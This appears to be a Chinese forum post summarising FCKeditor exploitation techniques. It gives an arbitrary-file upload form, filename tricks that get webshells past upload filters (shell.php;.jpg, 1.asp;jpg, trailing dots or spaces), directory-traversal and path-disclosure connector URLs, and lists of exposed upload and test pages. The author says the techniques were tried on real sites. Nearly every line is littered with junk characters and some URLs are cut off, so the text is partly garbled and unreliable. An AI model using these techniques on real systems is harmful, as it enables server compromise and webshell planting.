Fckeditor漏洞利用总结 # I Y* {4 a7 g9 S, {" U' P% Y
查看编辑器版本* Q) {4 `# |/ j+ L
FCKeditor/_whatsnew.html
% A8 j9 ~: p* O—————————————————————————————————————————————————————————————1 ^7 @ ^! v9 |0 p% v, U X; L" @
1 D: Z8 `1 ^: \
2. Version 2.2 版本
- s& ]% \& r) W& OApache+linux 环境下在上传文件后面加个.突破!测试通过。
0 w- ^2 _( T: K/ n—————————————————————————————————————————————————————————————& W+ g* o6 F# ]+ I
+ R% u: p4 F2 Y: P) e9 f* \/ ?3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
2 V+ m5 n0 X' J( R( h* X/ O6 N<form id="frmUpload" enctype="multipart/form-data"
8 f1 k5 g) U# D" C+ laction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>* k9 }$ T* i* F- |
<input type="file" name="NewFile" size="50"><br>$ {3 ?( a: T$ i4 Q& r1 P6 |+ }$ v
<input id="btnUpload" type="submit" value="Upload">% c4 R+ [3 e" g2 V* m) s: Z
</form>
, p0 h6 y" W9 P* B B; \—————————————————————————————————————————————————————————————
) B, o) [ o; [; b3 K2 D4 x [: t! |% T+ E1 K- K+ V. Q! U
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
! Y; y+ P; A- {2 s 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
+ L8 ]8 @ L- v) v3 a8 @% K ^$ w, \ 4.1:提交shell.php+空格绕过* `( a H& L6 }* L6 I
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4 M) R. Q8 v1 u7 f( s3 G! y& b 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
. Q+ G' y% h# ~—————————————————————————————————————————————————————————————8 n/ p! L) `: s' Z9 y- t D
' V5 W0 o- ~4 w. c7 i1 j# ~
5. 突破建立文件夹
) ^, L; i) V, h0 M% e8 r. ^. n" nFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756841 |" T! b+ l5 b3 b9 C
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp, C2 ` l" q1 T4 P
—————————————————————————————————————————————————————————————
1 F; Z( S# Q; S7 o1 v8 b9 O2 D5 }
6. FCKeditor 中test 文件的上传地址
( S+ x4 o1 C7 L/ @7 i' i! h" iFCKeditor/editor/filemanager/browser/default/connectors/test.html5 Q1 r0 R5 r" P& k+ R% _. M2 o2 N- F
FCKeditor/editor/filemanager/upload/test.html" h8 P& Q, t! Q
FCKeditor/editor/filemanager/connectors/test.html1 R) [" [, M* {4 n# ?% d
FCKeditor/editor/filemanager/connectors/uploadtest.html9 U- ^% y+ t% n6 r
—————————————————————————————————————————————————————————————
; u! M. z* J# _
6 \) O7 I& j. j9 C9 r- ?" y: m/ ^" F7.常用上传地址
- E+ @, d: V# ]$ U. n! u/ H( F# CFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
/ y6 T R- O( P" ]1 g8 N; w: BFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp0 H" l3 j0 f; @( Y, i
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
0 C2 z7 ~4 |% v% Q) |JSP 版:
9 ^: x( }6 p" {% y$ V$ `FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
! h' F' L/ R" J. U- a2 b- K注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
7 B& _* e: y4 J k5 L, z, ]0 h+ ^件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。. b, S! a2 T1 R& d- A' W
—————————————————————————————————————————————————————————————8 g2 v' p/ c0 v5 A" y$ Q
' \6 K, M- J8 @, O i8.其他上传地址) `0 O3 n4 M& A9 y. i4 v
FCKeditor/_samples/default.html9 i9 j' Z1 C7 i7 V' i$ K
FCKeditor/_samples/asp/sample01.asp0 [- {3 H5 f. U
FCKeditor/_samples/asp/sample02.asp* S2 ]1 h4 ?! V5 C1 j0 h# G
FCKeditor/_samples/asp/sample03.asp* e1 z, _5 N4 b
FCKeditor/_samples/asp/sample04.asp0 W2 `0 C/ r) {8 n6 L6 z- a6 c
一般很多站点都已删除_samples 目录,可以试试。& J/ [# |) o+ b
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
" d2 f% J* C- w1 @8 C" T: ^—————————————————————————————————————————————————————————————# D: y" y3 D' m( \' M0 S
% U8 i. S5 P: ?; D7 p9.列目录漏洞也可助找上传地址
0 u ?% W- S% F% X Y7 |+ N ]Version 2.4.1 测试通过+ e) p4 g* {+ Z! [2 r
修改CurrentFolder 参数使用 ../../来进入不同的目录
. z, t. J2 N* q0 T/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& ?2 x2 c; N* q" G5 y& \: O
根据返回的XML 信息可以查看网站所有的目录。# T& {* X- m8 ?1 E( R' _( O4 T
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
2 m4 |. a* V. v& v也可以直接浏览盘符:
- m' T, X$ i& _6 p8 T1 Z" Q$ l3 yJSP 版本:+ }' W {2 z+ a1 L1 l; l
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F* c5 g1 m; A1 a F
—————————————————————————————————————————————————————————————" [$ j' `* q) ^* y" Z( c
2 [4 ^ R6 m. j/ Y
10.爆路径漏洞
' `5 d* }, P& B' m; {FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp2 U: |" ^: B t" ^* X; E8 I
—————————————————————————————————————————————————————————————4 C. @. _+ k, `7 G, ~" n0 x+ P0 C
" H r. |5 b+ I! V
11. FCKeditor 被动限制策略所导致的过滤不严问题
* j/ \$ y1 e0 @# W1 b8 k1 R% M& H 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
' t# `' _0 g; C- ?9 F, G/ j脆弱描述:4 `! k, I M" c; X3 V: u/ V
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
" X' H/ d4 L3 u$ Qhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
+ }- C$ g7 i! y* U( J5 P! B% p( XFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
$ z. S) O) {3 C- h9 {* c& Z 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。2 y2 v! R+ W' _7 v' m
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
) _4 R, ^2 \! v7 x; I7 _—————————————————————————————————————————————————————————————- b% P0 N, o" S# b! G
3 Z6 k3 G' f3 f' @* Y12.最古老的漏洞,Type文件没有限制!
! R R" p& `: i, `. J 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
% T7 g1 z. j. V$ y& E6 a—————————————————————————————————————————————————————————————+ d' [; S5 V9 E. l9 ]+ o1 o
: T# A0 D) I! E; t$ d
===============================================================================================================================================5 t% ~1 ?# K7 M% f: p
* m4 G! z) S& r" M
FCK编辑器jsp版本漏洞:
# m! I+ j7 @8 t; i$ F" E: H" H9 f! D# s. s0 I/ S
& p2 i. e9 W0 G( Z
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
5 V# \" U' J$ H2 z0 r# c n& f
# Q4 f+ `6 @9 \6 `! V$ [5 j上传马所在目录7 O: q# H* v$ w4 V# m9 V7 I+ f' h5 w
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
! J: q- `/ d6 Q. x+ j上传shell的地址:1 S% O9 w) o# U# ]0 E) s8 t1 {) B
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
" E6 r. \( ~4 u! B! F- Q跟版本有关系.并不是百分百成功. 测试成功几个站.
# Z4 H7 c7 V" x% Y1 t* N不能通杀.很遗憾.
. D8 n' Q5 [9 |3 ohttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector/ ~) I' t0 B# S6 D' \9 i- s
如果以上地址不行可以试试
# l, f# _- `9 k+ C4 F% Z& X* ?FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
" `5 s) Y5 u: wFCKeditor/_samples/! K4 Y. ]3 L+ P; t
FCKeditor/_samples/default.html
. O3 c. X) q' K; {" QFCKeditor/editor/fckeditor.htm
) L" x$ ~+ K# j! L/ D/ S2 d* hFCKeditor/editor/fckdialog.html
5 M6 ]- n5 a9 z1 m2 Q8 I4 l* `0 S6 _! o0 u
, O; g7 _* B7 F, B
9 _/ ~# A5 ~2 v7 V& O解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
, t9 ^ Z# t4 O) n0 ^9 w |